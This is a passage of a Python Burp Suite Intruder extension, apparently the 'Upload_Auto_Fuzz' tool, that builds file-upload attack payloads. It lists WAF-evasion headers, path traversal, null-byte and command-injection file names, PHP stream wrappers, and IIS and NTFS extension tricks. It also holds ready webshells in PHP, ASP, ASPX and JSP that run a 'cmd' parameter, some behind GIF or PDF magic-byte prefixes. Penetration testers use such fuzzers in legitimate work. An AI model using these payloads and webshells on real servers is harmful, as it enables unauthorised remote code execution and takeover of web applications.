'X-Encoded-Upload: {}\r\n'.format(base64.b64encode('filetype=allowed'))
|
||
]
|
||
|
||
for encoded_header in encoded_headers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
|
||
encoded_header + 'Content-Type:'))
|
||
|
||
# 4. 新一代WAF对抗技术
|
||
# 使用预定义的垃圾数据而非随机生成
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
# 预定义的垃圾数据模板
|
||
noise_templates = [
|
||
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',
|
||
'Lorem ipsum dolor sit amet consectetur adipiscing elit',
|
||
'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*',
|
||
'<svg><![CDATA[<]]>script>alert(1)<![CDATA[>]]></svg>',
|
||
'<!-- Comment Block: Ignore this data block for security scanning -->',
|
||
'#pragma once /* C style preprocessor directive */'
|
||
]
|
||
|
||
# 创建多种混淆头部
|
||
prefixes = ['xrd', 'tmp', 'usr', 'etc', 'var', 'opt', 'sys', 'bin', 'dev', 'lib']
|
||
|
||
# 为每个前缀和模板组合创建混淆头
|
||
for prefix in prefixes[:5]: # 限制数量
|
||
for template in noise_templates[:3]: # 限制数量
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
|
||
'X-{}-Data: {}\r\nContent-Disposition:'.format(prefix, template)))
|
||
|
||
# 5. 高级漏洞链组合
|
||
# 组合多种技术，不限于PHP
|
||
combined_attacks = [
|
||
'filename="../../../../proc/self/environ/shell.{}"'.format(each_suffix),
|
||
'filename="file:///etc/passwd/shell.{}"'.format(each_suffix),
|
||
'filename="/dev/null;shell.{}"'.format(each_suffix),
|
||
'filename="http://127.0.0.1/shell.{}"'.format(each_suffix),
|
||
'filename="|echo PD9waHAg...>{0}"'.format(each_suffix), # 管道命令注入
|
||
'filename="shell.{0}.%00.jpg"'.format(each_suffix), # 空字节与双扩展名
|
||
'filename="{0} -o- > shell.txt"'.format(each_suffix), # 命令参数注入
|
||
'filename="/tmp/.\\./.\\./shell.{0}"'.format(each_suffix) # 复杂路径混淆
|
||
]
|
||
|
||
# 对应文件类型的特定攻击
|
||
if each_suffix == 'php':
|
||
php_specific = [
|
||
'filename="php://filter/convert.base64-encode/resource=shell.php"',
|
||
'filename="data:image/jpeg;php://filter/shell.php"',
|
||
'filename="expect://id>shell.php"',
|
||
'filename="/tmp/.././../var/www/shell.php${IFS}"' # 命令注入+路径操作
|
||
]
|
||
combined_attacks.extend(php_specific)
|
||
elif each_suffix == 'asp' or each_suffix == 'aspx':
|
||
asp_specific = [
|
||
'filename="file.asp::.jpg"', # NTFS ADS
|
||
'filename="shell.asp%16"', # URL编码变体
|
||
'filename="shell.;asp;"' # IIS分号绕过
|
||
]
|
||
combined_attacks.extend(asp_specific)
|
||
|
||
for attack in combined_attacks:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, attack))
|
||
|
||
print "Advanced Defense Evasion generated %d payloads" % len(defense_payload)
|
||
return defense_payload
|
||
|
||
# 调用所有Fuzz函数并合并结果
|
||
suffix_payload = script_suffix_Fuzz()
|
||
Content_Disposition_payload = CFF_Fuzz()
|
||
content_type_payload = content_type_Fuzz()
|
||
windows_payload = windows_features_Fuzz()
|
||
linux_payload = linux_features_Fuzz()
|
||
magic_bytes_payload = magic_bytes_Fuzz()
|
||
content_trick_payload = file_content_trick_Fuzz()
|
||
user_ini_payload = user_ini_Fuzz()
|
||
mime_payload = mime_encoding_Fuzz()
|
||
http_split_payload = http_protocol_split_Fuzz()
|
||
chunked_payload = chunked_encoding_Fuzz()
|
||
waf_bypass_payload = waf_bypass_Fuzz()
|
||
unicode_payload = unicode_normalization_Fuzz()
|
||
header_smuggling_payload = http_header_smuggling_Fuzz()
|
||
null_byte_payload = null_byte_variations_Fuzz()
|
||
protocol_payload = protocol_handler_Fuzz()
|
||
svg_xss_payload = svg_xss_Fuzz()
|
||
webdav_payload = webdav_method_Fuzz()
|
||
file_content_bypass_payload = file_content_bypass_Fuzz()
|
||
char_mutation_payload = character_mutation_Fuzz()
|
||
data_overflow_payload = data_overflow_Fuzz()
|
||
advanced_mutation_payload = advanced_character_mutation_Fuzz()
|
||
cloud_environment_payload = cloud_environment_bypass_Fuzz()
|
||
advanced_defense_payload = advanced_defense_evasion_Fuzz()
|
||
|
||
# 合并所有payload
|
||
attackPayloads = (suffix_payload + Content_Disposition_payload + content_type_payload +
|
||
windows_payload + linux_payload + magic_bytes_payload +
|
||
content_trick_payload + user_ini_payload + mime_payload +
|
||
http_split_payload + chunked_payload + waf_bypass_payload +
|
||
unicode_payload + header_smuggling_payload + null_byte_payload +
|
||
protocol_payload + svg_xss_payload + webdav_payload +
|
||
file_content_bypass_payload + char_mutation_payload +
|
||
data_overflow_payload + advanced_mutation_payload +
|
||
cloud_environment_payload + advanced_defense_payload)
|
||
|
||
# 去除重复的payload
|
||
unique_payloads = []
|
||
seen_payloads = set()
|
||
|
||
for payload in attackPayloads:
|
||
# 使用payload的字符串表示来判断是否重复
|
||
payload_str = str(payload)
|
||
if payload_str not in seen_payloads:
|
||
seen_payloads.add(payload_str)
|
||
unique_payloads.append(payload)
|
||
|
||
print "Total unique payloads: %d" % len(unique_payloads)
|
||
return unique_payloads
|
||
|
||
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
|
||
def registerExtenderCallbacks(self, callbacks):
|
||
self._callbacks = callbacks
|
||
self._helpers = callbacks.getHelpers()
|
||
callbacks.setExtensionName("Upload_Auto_Fuzz 1.1.0")
|
||
# 注册payload生成器
|
||
callbacks.registerIntruderPayloadGeneratorFactory(self)
|
||
print '==================================='
|
||
print '[ UAF Load successful ]'
|
||
print '[#] Author: T3nk0'
|
||
print '[#] Github: https://github.com/T3nk0/Upload_Auto_Fuzz'
|
||
print '[#] Version: 1.1.0'
|
||
print '===================================\n'
|
||
|
||
# 设置payload生成器名字，作为选项显示在Intruder UI中。
|
||
def getGeneratorName(self):
|
||
return "Upload_Auto_Fuzz"
|
||
|
||
# 创建payload生成器实例，传入的attack是IIntruderAttack的实例
|
||
def createNewInstance(self, attack):
|
||
return demoFuzzer(self, attack)
|
||
|
||
# 继承IIntruderPayloadGenerator类
|
||
class demoFuzzer(IIntruderPayloadGenerator):
|
||
def __init__(self, extender, attack):
|
||
self._extender = extender
|
||
self._helpers = extender._helpers
|
||
self._attack = attack
|
||
self.num_payloads = 0 # payload使用了的次数
|
||
self._payloadIndex = 0
|
||
self.attackPayloads = [1] # 初始化为非空列表，保持原始代码的方式
|
||
|
||
# hasMorePayloads返回一个bool值，如果返回false就不在继续返回下一个payload，如果返回true就返回下一个payload
|
||
def hasMorePayloads(self):
|
||
# print "hasMorePayloads called."
|
||
return self._payloadIndex < len(self.attackPayloads)
|
||
|
||
# 获取下一个payload，然后intruder就会用该payload发送请求
|
||
def getNextPayload(self, baseValue):
|
||
# 将baseValue转换为字符串
|
||
selected_area = "".join(chr(x) for x in baseValue)
|
||
|
||
if self._payloadIndex == 0:
|
||
# 检查是否选择了整个区域
|
||
is_full_section = ('Content-Disposition:' in selected_area and
|
||
('filename=' in selected_area or 'filename="' in selected_area) and
|
||
'Content-Type:' in selected_area)
|
||
|
||
if is_full_section:
|
||
# 提取文件名和扩展名
|
||
filename_match = re.search(r'filename="([^"]*)"', selected_area)
|
||
if filename_match and '.' in filename_match.group(1):
|
||
original_filename = filename_match.group(1)
|
||
original_ext = original_filename.split('.')[-1]
|
||
|
||
# 使用两种方法结合：
|
||
# 1. 专门为整个区域设计的payload
|
||
section_payloads = getFuzzPayloadsForFullSection(selected_area)
|
||
|
||
# 2. 将原始的单个元素payload转换为整个区域payload
|
||
# 创建一个模板，稍后用于替换
|
||
template_area = selected_area
|
||
|
||
# 基于original_ext生成标准的攻击payload
|
||
single_element_payloads = getAttackPayloads(
|
||
"Content-Disposition: form-data; name=\"uploaded\"; filename=\"test.{}\"\r\nContent-Type: text/plain".format(original_ext)
|
||
)
|
||
|
||
# 转换单元素payload为整个区域payload
|
||
converted_payloads = []
|
||
for single_payload in single_element_payloads:
|
||
# 提取修改后的文件名和Content-Type
|
||
payload_filename = re.search(r'filename="([^"]*)"', single_payload)
|
||
payload_content_type = re.search(r'Content-Type: ([^\r\n]*)', single_payload)
|
||
|
||
if payload_filename:
|
||
# 替换原始选中区域中的文件名
|
||
new_area = re.sub(
|
||
r'filename="[^"]*"',
|
||
payload_filename.group(0),
|
||
template_area
|
||
)
|
||
|
||
# 如果Content-Type也变了，一并替换
|
||
if payload_content_type:
|
||
new_area = re.sub(
|
||
r'Content-Type: [^\r\n]*',
|
||
'Content-Type: {}'.format(payload_content_type.group(1)),
|
||
new_area
|
||
)
|
||
|
||
converted_payloads.append(new_area)
|
||
|
||
# 合并两种payload集合并去重
|
||
all_payloads = section_payloads + converted_payloads
|
||
self.attackPayloads = list(set(all_payloads)) # 这种方式可能不适用于所有情况
|
||
else:
|
||
# 如果没有找到文件名，只使用区域payload
|
||
self.attackPayloads = getFuzzPayloadsForFullSection(selected_area)
|
||
else:
|
||
# 使用原来的方法生成payload
|
||
self.attackPayloads = getAttackPayloads(selected_area)
|
||
|
||
# 去除重复的payload (更可靠的方法)
|
||
unique_payloads = []
|
||
seen_payloads = set()
|
||
|
||
for payload in self.attackPayloads:
|
||
# 使用payload的哈希值来判断是否重复
|
||
payload_hash = hash(str(payload))
|
||
if payload_hash not in seen_payloads:
|
||
seen_payloads.add(payload_hash)
|
||
unique_payloads.append(payload)
|
||
|
||
self.attackPayloads = unique_payloads
|
||
|
||
# 限制payload数量防止内存溢出
|
||
if len(self.attackPayloads) > 1000:
|
||
self.attackPayloads = self.attackPayloads[:1000]
|
||
print "Generated %d unique payloads" % len(self.attackPayloads)
|
||
|
||
payload = self.attackPayloads[self._payloadIndex]
|
||
self._payloadIndex = self._payloadIndex + 1
|
||
|
||
return payload
|
||
|
||
# 清空，以便下一次调用 getNextPayload()再次返回第一个有效负载。
|
||
def reset(self):
|
||
# print "reset called."
|
||
self._payloadIndex = 0
|
||
return
|
||
|
||
def getFuzzPayloadsForFullSection(selected_area):
|
||
# 为整个选中区域生成有效载荷
|
||
full_section_payloads = []
|
||
|
||
# 尝试提取文件名和内容部分
|
||
filename_match = re.search(r'filename="([^"]*)"', selected_area)
|
||
content_part_match = re.search(r'Content-Type:.*?\r\n\r\n(.*?)$', selected_area, re.DOTALL)
|
||
|
||
if not filename_match or not content_part_match:
|
||
# 如果找不到关键部分，返回空列表
|
||
return [selected_area] # 至少返回原始选择
|
||
|
||
original_filename = filename_match.group(1)
|
||
original_content = content_part_match.group(1)
|
||
|
||
# 提取文件扩展名
|
||
if '.' in original_filename:
|
||
filename_suffix = original_filename.split('.')[-1]
|
||
else:
|
||
filename_suffix = ""
|
||
|
||
# 为不同类型的文件准备WebShell内容
|
||
webshell_contents = {
|
||
'php': [
|
||
'<?php eval($_POST["cmd"]); ?>',
|
||
'<?php system($_REQUEST["cmd"]); ?>'
|
||
],
|
||
'asp': [
|
||
'<%eval request("cmd")%>',
|
||
'<%execute request("cmd")%>'
|
||
],
|
||
'aspx': [
|
||
'<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]);%>',
|
||
'<%@ Page Language="C#" %><%eval(Request.Item["cmd"]);%>',
|
||
'<%@ Page Language="C#" %><% System.IO.StreamWriter sw=new System.IO.StreamWriter(Request.Form["f"]);sw.Write(Request.Form["c"]);sw.Close(); %>',
|
||
'<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>'
|
||
],
|
||
'jsp': [
|
||
'<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
|
||
'<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>',
|
||
'<% out.println("Output: " + request.getParameter("cmd")); %>',
|
||
'<%! public void jspInit(){ try{ java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }catch(Exception e){} } %>'
|
||
]
|
||
}
|
||
|
||
# WAF绕过前缀
|
||
waf_bypass_prefixes = [
|
||
'GIF89a;\n',
|
||
'#!MIME type image/gif\n',
|
||
'<!--\n',
|
||
'%PDF-1.5\n'
|
||
]
|
||
|
||
# 针对常见的可执行文件扩展名
|
||
for ext in ['php', 'asp', 'aspx', 'jsp']:
|
||
# 替换文件名
|
||
new_area = selected_area.replace('filename="{}"'.format(original_filename),
|
||
'filename="shell.{}"'.format(ext))
|
||
|
||
# 如果有对应的WebShell内容
|
||
if ext in webshell_contents:
|
||
for content in webshell_contents[ext][:2]: # 每种类型限制2个变体
|
||
# 完全替换原始内容
|
||
if original_content:
|
||
new_area_with_content = re.sub(
|
||
r'Content-Type:.*?\r\n\r\n.*?$',
|
||
r'Content-Type: text/plain\r\n\r\n{}'.format(content),
|
||
new_area,
|
||
flags=re.DOTALL
|
||
)
|
||
full_section_payloads.append(new_area_with_content)
|
||
|
||
# 使用WAF绕过前缀
|
||
for prefix in waf_bypass_prefixes:
|
||
new_area_with_prefix = re.sub(
|
||
r'Content-Type:.*?\r\n\r\n.*?$',
|
||
r'Content-Type: text/plain\r\n\r\n{}{}'.format(prefix, content),
|
||
new_area,
|
||
flags=re.DOTALL
|
||
)
|
||
full_section_payloads.append(new_area_with_prefix)
|
||
|
||
# 去除重复的payload
|
||
unique_payloads = []
|
||
seen_payloads = set()
|
||
|
||
for payload in full_section_payloads:
|
||
payload_str = str(payload)
|
||
if payload_str not in seen_payloads:
|
||
seen_payloads.add(payload_str)
|
||
unique_payloads.append(payload)
|
||
|
||
return unique_payloads
|
||
|